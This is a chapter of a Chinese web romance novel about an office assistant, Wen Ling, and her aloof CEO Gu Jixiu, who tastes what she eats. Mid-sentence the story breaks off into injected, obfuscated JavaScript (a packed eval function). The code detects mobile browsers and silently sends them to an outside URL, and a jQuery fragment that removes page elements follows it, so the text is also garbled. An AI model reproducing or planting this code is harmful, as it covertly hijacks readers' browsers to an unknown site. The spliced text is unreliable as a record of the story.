工具间外,钟姐正在和另一个人聊天。
只是钟姐的语气,和她在温棂面前表现出来的温柔完全不同。
“我找人事那边打听过,一个小镇子考出来的本科生,寒酸得不得了,也不知道是怎么入的顾总的眼,竟然把她给提拔上来了。”
另一人语气夸张。
“不是吧?这样的顾总也看得上?清汤寡水的,也没几两肉啊。”
钟姐道:“还不一定呢,顾总只说把她调上来,可没说要特殊照顾,兴许过两天腻了,就让她滚下去咯。”
另一个人捂着嘴嗤嗤地笑。
“下面可没地方让她滚,要滚就只能滚到外面去……”
这句话显然取悦到了钟姐,钟姐也嗤笑了一声。
“唉呀,那就只能怪她自己咯,走捷径之前也没掂量掂量自己几斤几两,我是好心想提醒她,可是人家不一定领情呢。”
“哈哈,钟姐你又不是她娘,让她摔跟头去吧……”
两人肆无忌惮地笑了好一会儿,才意犹未尽地结束。
“行了,别说了,工作去。”
两人的声音渐渐飘远,卫生间里恢复安静,只有没关好的水龙头“滴答滴答”诠释着尴尬。
半晌之后,温棂从工具间里出来,神色淡淡的,没什么表情,唯有握紧的拳头暴露了她的情绪。
回工位的路上,温棂故意从钟姐的身边经过,对方看到她,竟然还十分友好地冲她一笑。
这样一副亲和的样子,谁能想到卫生间里听到的那些闲言碎语,竟然是从她的嘴里冒出来的。
……
钟姐和那人的对话,让温棂察觉到了一丝不对劲。
原来总裁办的人对自己这么热情,是以为顾总给她开了后门?
胡说八道,无稽之谈。
她的后台明明是顾及茉!
她和顾总就吃过一顿饭,话都没说过两句,顾及修要是真这么轻易就看上了她,早不知道看上多少人了。
看上一个调一个,顾氏集团早完啦!
温棂坐在工位上,将愤怒的情绪发泄在键盘上,打起字来仿佛机关枪。
浑然不知正准备飞一趟隔壁市的顾及修,在私人飞机上连打了三个喷嚏。
冷静下来的温棂分析起自己的处境,她必须在顾及茉离开公司之前,在总裁办站稳脚跟。
不然,她的职业生涯恐怕会永远停留在这里了!
温棂翻看着自己电脑里的文件,里面有钟姐新交给她的资料,也有之前在企划部当助理时经手的文件。
那会儿温棂就是顾瘪三的职场保姆,除了收拾工作上的烂摊子,有时候还要帮他约人,订行程,买机票。
忙得脚不沾地。
好在她这个人足够细心缜密,顾瘪三事儿再多,她也能有条不紊地处理好,基本上没犯过一次错。
温棂突然想起来,顾及修的身边,好像也只有许总助一个人。
只要在公司,许总助就会寸步不离地跟着顾及修,基本上全天候待命。
可按照温棂的经验,像顾及修这么忙的老板,一般不会只有一个秘书。
除非许总助有三头六臂,一个人就足以包揽顾及修所有的需求。
要真能这样,那就不是人,是神了!
恰好这时,顾及茉向温棂发来晚餐邀请,温棂脑子一转,拎着包包欣然前往。
晚餐吃的是生腌,虽然都是生的,但是比起只有薄薄酱油的日料,鲜辣的潮汕口味好接受得多。
温棂已经学会面不改色尝试新鲜食物了。
她一边把滑嫩细腻的蟹肉塞进嘴里,一边不动声色地打听顾及修有没有招助理的需求。
顾及茉如今在人事部轮岗,再加上她对温棂极其亲近,温棂三两句引导,她倒竹筒般说出了一切。
“好像招了有一段时间了,我哥没回总部就在招,但是到现在都没有合适的,我哥那个人龟毛得很,难为许总助能在他身边待这么久……”
顾及茉说着说着就扯远了,温棂一边和她闲扯,一边又把话题拉回来。
“许总助能力强嘛,不过你哥那边大事小事都交给他去办,确实挺辛苦的,肯定有顾不上的时候。”
顾及茉脑海里浮现许总助年纪轻轻却刻满印痕的脸,摇了摇头。
“对啊,所以现在打算先给我哥招一个打杂跑腿的,好歹分担一下许总助的工作,更专业的助理就只能慢慢招了。”
温棂若有所思地点点头,状似不经意地问。
“那之前招的顾总为什么都不要啊?”
顾及茉摇头晃脑道。
“当然是因为他要~求~高~啦~”
说着撅了撅嘴。
“我就记得有一个是因为她喷的香水太刺鼻,面试两分钟就被请出去了。”
“那其他的呢?”
顾及茉回忆了一下自己在人事档案上看到的那些劝退理由。
“写得很笼统,什么感觉不聪明啦,眼神太油滑啦,跟相亲似的,没感觉就不要。”
这些理由乍一听是有些离谱,但稍微想想,也非常合理。
“毕竟天天都在顾总跟前晃悠,气场不合确实没办法开展工作嘛。”
顾及茉无所谓地摆摆头,专心对付一只醉虾。
“随他挑呗,他爱挑谁挑谁,小气,龟毛,要求多,阴晴不定,我看谁要他……”
由于顾及修拒绝给这个被停了卡的妹妹提供一点儿零花钱,顾及茉决定在温棂面前多说一点哥哥的坏话。
是他自己不承认的,可别怪她胡说八道!
听着顾及茉的数落,温棂的心里越来越没底了。
她确实猜对了,顾总现在需要一个助理,但没有想到招不到的原因竟然是这些。
如果要论助理秘书的工作经验,温棂是相当自信的,但如果要拼眼缘……
温棂回忆了一下和顾及修仅有的交流——
对方惜字如金,眼高于顶,如同南极冰山。
完了,别说眼缘了。
他压根儿就没给她眼神。
……
另一边,顾及修的私人飞机上。
由于时间紧,晚餐也是在飞机上进行,餐食的内容提前和顾及修沟通过,即便是在空中,餐品依旧毫不含糊。
鲜香微辣的牛油果蛋卷,风味独特的鳕鱼通心粉,巧克力点心,还有鲜切的水果挞。
只看摆盘就让人食欲大开的餐品,任谁看了都会说一句垂涎欲滴,然而顾及修只有满脸麻木。
他在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563488|142825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
思考。
到底要不要吃下一份生腌味的飞机餐。
没错,这次他的幻觉是生腌。
按照顾及修这两天的经验,每次他嘴里出现的味道都不会持续很久,大概就是一顿饭的时间。
所以之前他才会觉得自己是和某人同步了味觉。
毕竟出现和持续的时间,都十分符合一般人的饭点和进食时长。
这种时候,他只需要静静等待,等待口腔里的味道逐渐散去,这个时候再进食,总比味觉感知错乱要好。
然而这一次,生腌味持续得格外长,就像是在边吃边聊,有一搭没一搭,每次都在顾及修以为这次进食已经结束的时候,猝不及防地又来一口。
温棂!
能不能好好吃饭!
顾及修长长地呼了一口气。
他怎么又想到了温棂。
都说了是幻觉,是他潜意识的投射,是他的自我想象。
和温棂没关系。
只要他静心,坚定信念,这些味道就会消失……个屁!
在嘴里突然冒出一股极其辛辣的芥末味后,顾及修终于没忍住,shit了一句。
他一天天的,想象这些让自己受虐吗??
一旁的许总助不动声色地观察着boss的表情。
他在顾总身边多年,经历过五年前的意外,知道自从那时起顾总就失去了味觉,也知道最近顾总的症状发生了变化。
虽然顾总没有明说,但是有隐约透露,变化和总裁办新调来的那个女生有关。
眼看着顾总已经面无表情地对着眼前的餐品,坐了整整一个小时了。
许总助大胆猜测,应该又是和温小姐有关。
“顾总,刚刚让人打听了温小姐的行踪,她现在正在……”
然而不等话说完,顾及修冷冷地瞥了过来,眼神十分犀利。
“我有让你打听吗?”
许总助立刻垂眸道歉。
“抱歉顾总,我自作主张了。”
顾及修修长的手指搭在真皮扶手上,骨节分明,指尖一下一下地叩着,稍快的频率暴露了他内心的不平静。
半晌后,顾及修突然开口。
“除了行踪,有她之前的资料吗?”
这些许总助早就调查好了,立刻调出温棂的生平事迹。
顾及修的视线落在平板电脑上,短短几页资料囊括了温棂过去的二十四年。
不过两分钟,顾及修就看完了。
这份资料许总助自然也是看过的,是真心觉得温棂惨。
“这位温小姐还是挺可怜的,运气一直不太好,不过却很有韧劲,在企划部干得也很不错,咱们总裁办的工作想必她也没有问题。”
许总助会帮温棂说好话,一方面是因为同情。另一方面是知道及茉小姐喜欢她,如果能打探到顾总的态度,以后该怎么对待温棂,许总助心里也有个数。
平板电脑的光亮落在顾及修的脸上,显得那张棱角分明的脸更加肃冷。
只见他十分随意地滑了滑平板的屏幕,嘴角突然泛起一丝笑。
“噢,这么惨啊。”
然而下一秒,他却开口说道。
“那就让她搬远一点,别坏了我办公室的风水。”